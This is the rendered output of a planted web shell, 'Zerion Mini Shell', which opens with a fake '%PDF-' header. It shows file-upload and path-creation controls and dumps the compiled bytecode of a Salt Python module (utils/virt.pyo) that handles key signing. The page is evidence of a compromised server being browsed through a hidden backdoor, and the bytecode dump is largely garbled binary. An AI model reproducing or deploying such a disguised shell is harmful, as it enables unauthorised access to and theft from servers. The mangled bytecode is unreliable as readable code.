%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/utils/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/utils/virt.pyo

�
���^c@@s{dZddlmZmZmZddlZddlZddlZddlZ	ej
e�Zde
fd��YZdS(u:
This module contains routines shared by the virt system.
i(tabsolute_importtprint_functiontunicode_literalsNtVirtKeycB@s2eZdZd�Zd�Zd�Zd�ZRS(u.
    Used to manage key signing requests.
    cC@sx||_||_||_tjj|jdd|�}tjj|�s\tj|�ntjj||�|_dS(Nupki_diruvirtkeys(toptsthypertidtostpathtjointisdirtmakedirs(tselfRtid_RR((s3/usr/lib/python2.7/site-packages/salt/utils/virt.pyt__init__s			cC@s#y:tjjj|jd��}t|j��}WdQXWnUttfk
rmt	j
d|j|j�t
Stk
r�t	j
d|j�t
SXtj�|dkr�t	jd|j|j�t
Stjj|jdd|j�}tjjj|d	��}|j|�WdQX|j�tS(
u)
        Accept the provided key
        urNuJRequest to sign key for minion '%s' on hyper '%s' denied: no authorizationuInvalid expiry data in %siXuORequest to sign key for minion "%s" on hyper "%s" denied: authorization expiredupki_diruminionsuw+(tsalttutilstfilestfopenRtinttreadtOSErrortIOErrortlogterrorRRtFalset
ValueErrorttimetwarningRR	RtwritetvoidtTrue(Rtpubtfp_texpirytpubfn((s3/usr/lib/python2.7/site-packages/salt/utils/virt.pytaccept s.

cC@sGtjjj|jd��&}|jtttj����WdQXt	S(u@
        Prepare the master to expect a signing request
        uw+N(
RRRRRRtstrRRR(RR!((s3/usr/lib/python2.7/site-packages/salt/utils/virt.pyt	authorizeBs%cC@s1ytj|j�tSWntk
r,tSXdS(u7
        Invalidate any existing authorization
        N(RtunlinkRRRR(R((s3/usr/lib/python2.7/site-packages/salt/utils/virt.pyRJs

(t__name__t
__module__t__doc__RR$R&R(((s3/usr/lib/python2.7/site-packages/salt/utils/virt.pyRs
			"	(R*t
__future__RRRRRtloggingtsalt.utils.filesRt	getLoggerR(RtobjectR(((s3/usr/lib/python2.7/site-packages/salt/utils/virt.pyt<module>s

Zerion Mini Shell 1.0